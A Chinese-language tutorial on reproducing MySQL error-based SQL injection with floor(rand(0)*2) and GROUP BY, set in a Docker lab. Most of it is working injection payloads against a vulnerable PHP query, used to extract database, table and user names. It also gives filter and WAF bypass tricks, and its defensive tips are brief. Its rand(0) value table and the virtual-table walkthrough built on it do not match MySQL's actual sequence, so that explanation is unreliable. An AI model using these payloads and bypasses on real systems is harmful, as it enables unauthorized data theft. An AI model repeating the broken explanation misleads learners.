别再死记硬背了!用MySQL的`rand(0)`和`group by`亲手复现一次SQL报错注入
从零复现MySQL报错注入:用rand(0)和group by破解SQL防御机制
当你第一次听说SQL注入时,脑海中浮现的可能是黑客在电影里快速敲击键盘的画面。但现实中的SQL注入更像是一场精心设计的数学魔术——而今天,我们要揭秘的就是其中最精妙的"报错注入"手法。不同于常见的盲注或联合查询注入,报错注入通过故意触发数据库错误来获取信息,就像用错误的钥匙开锁,却能从锁的反馈中猜出正确钥匙的形状。
1. 环境准备与基础概念
在开始实验之前,我们需要一个安全的测试环境。推荐使用Docker快速搭建MySQL容器:
docker run --name mysql-test -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -d mysql:5.7连接数据库后,创建测试用的数据表:
CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50), email VARCHAR(100) ); INSERT INTO users (username, email) VALUES ('admin', 'admin@example.com'), ('guest', 'guest@example.com'), ('test', 'test@example.com');1.1 关键函数解析
报错注入的核心在于几个特殊的MySQL函数:
- rand(seed): 生成伪随机数,指定种子后序列固定
- floor(x): 向下取整函数
- group by: 分组聚合操作
- count(*): 计数函数
这些看似普通的函数组合在一起,却能产生意想不到的化学反应。特别是rand(0)这个固定种子的随机数生成器,它产生的序列是可预测的:
第一次: 0.8444218515250481 第二次: 0.7579544029403025 第三次: 0.420571580830845 ...2. 报错注入的数学原理
让我们分解这个经典的报错注入语句:
SELECT count(*), concat(database(), floor(rand(0)*2)) as x FROM information_schema.tables GROUP BY x;2.1 随机数种子的魔法
rand(0)*2会产生一个0到2之间的浮点数,经过floor()处理后只会得到0或1。关键在于种子0产生的固定序列:
| 调用次数 | rand(0)值 | rand(0)*2 | floor(rand(0)*2) |
|---|---|---|---|
| 1 | 0.844 | 1.688 | 1 |
| 2 | 0.758 | 1.516 | 1 |
| 3 | 0.421 | 0.842 | 0 |
| 4 | 0.259 | 0.518 | 0 |
| 5 | 0.511 | 1.022 | 1 |
2.2 虚拟表的构建过程
当MySQL执行group by时,会在内存中创建一张虚拟临时表。这个表的构建过程是报错的关键:
- 读取第一条记录,计算
floor(rand(0)*2)得到1 - 检查虚拟表中是否存在键1 → 不存在
- 准备插入时重新计算
floor(rand(0)*2)得到1 → 插入(1,1) - 读取第二条记录,计算得到1 → 已存在,计数加1 → (1,2)
- 读取第三条记录,计算得到0 → 不存在
- 准备插入时重新计算得到1 → 尝试插入(1,...)但主键1已存在 → 报错
这个过程可以用下面的状态表表示:
| 步骤 | 操作 | 计算值 | 虚拟表状态 | 结果 |
|---|---|---|---|---|
| 1 | 处理第一条记录 | 1 | 空 | 准备插入 |
| 2 | 插入第一条记录 | 1 | {1:1} | 插入成功 |
| 3 | 处理第二条记录 | 1 | {1:1} | 计数增加到2 |
| 4 | 处理第三条记录 | 0 | {1:2} | 准备插入 |
| 5 | 插入第三条记录 | 1 | 尝试{1:...} | 主键冲突 |
3. 实战演练:从报错到数据泄露
理解了原理后,我们可以构造实际的注入攻击。假设有一个易受攻击的查询:
$id = $_GET['id']; $query = "SELECT * FROM articles WHERE id = $id";3.1 获取数据库名称
构造以下注入语句:
1 AND (SELECT 1 FROM ( SELECT count(*), concat( 0x23, (SELECT schema_name FROM information_schema.schemata LIMIT 0,1), 0x23, floor(rand(0)*2) ) as x FROM information_schema.tables GROUP BY x ) as y)执行后将返回类似错误:
Duplicate entry '#mysql#1' for key 'group_key'其中#mysql#就是我们要的数据库名。
3.2 提取表结构信息
获取当前数据库的表名:
1 AND (SELECT 1 FROM ( SELECT count(*), concat( 0x23, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 0x23, floor(rand(0)*2) ) as x FROM information_schema.columns GROUP BY x ) as y)3.3 防御与检测技巧
为了防止这类攻击,开发者应该:
- 使用参数化查询(prepared statements)
- 实施最小权限原则
- 过滤特殊字符
- 关闭错误回显
检测是否存在漏洞的方法:
-- 测试是否易受攻击 1 AND (SELECT 1 FROM (SELECT count(*),concat(0x23,version(),0x23,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)y) -- 确认最少需要3条记录 SELECT count(*) FROM vulnerable_table; -- 小于3条可能不会报错4. 高级技巧与变种
4.1 绕过过滤的替代方案
当rand(0)被过滤时,可以尝试:
-- 使用其他固定种子 floor(rand(1)*2) -- 使用用户变量 SET @r=0; SELECT floor((@r:=@r+1)*0.5);4.2 多语句组合注入
结合其他SQL特性实现更复杂的注入:
-- 时间盲注结合报错注入 1 AND IF(ASCII(SUBSTR(database(),1,1))>100, (SELECT 1 FROM (SELECT count(*),concat(0x23,database(),0x23,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)y), SLEEP(3))4.3 性能优化技巧
报错注入可能很耗资源,可以通过以下方式优化:
-- 限制扫描范围 SELECT count(*),concat(0x23,(SELECT username FROM users LIMIT 1),0x23,floor(rand(0)*2))x FROM information_schema.columns WHERE table_name='users' GROUP BY x;5. 防御措施深度分析
5.1 参数化查询原理
真正的参数化查询会将SQL语句和参数分开发送:
客户端发送: SELECT * FROM users WHERE id = ? 客户端发送: 参数值1 服务器端: 安全执行5.2 WAF绕过手法
了解防御才能更好攻击,常见的WAF绕过技巧:
- 空白字符混淆:
SEL%0aECT - 大小写混合:
SeLeCt - 注释分割:
SEL/*xxx*/ECT - 编码转换:
CHAR(83,69,76,69,67,84)
5.3 日志分析与检测
管理员可以通过监控以下特征发现报错注入攻击:
- 异常的
group by语法 rand()与floor()的组合使用information_schema的频繁访问- 特定的错误代码(如1062主键冲突)
在MySQL日志中,典型的攻击特征表现为:
[Warning] /usr/sbin/mysqld: Duplicate entry '#mysql#1' for key 'group_key'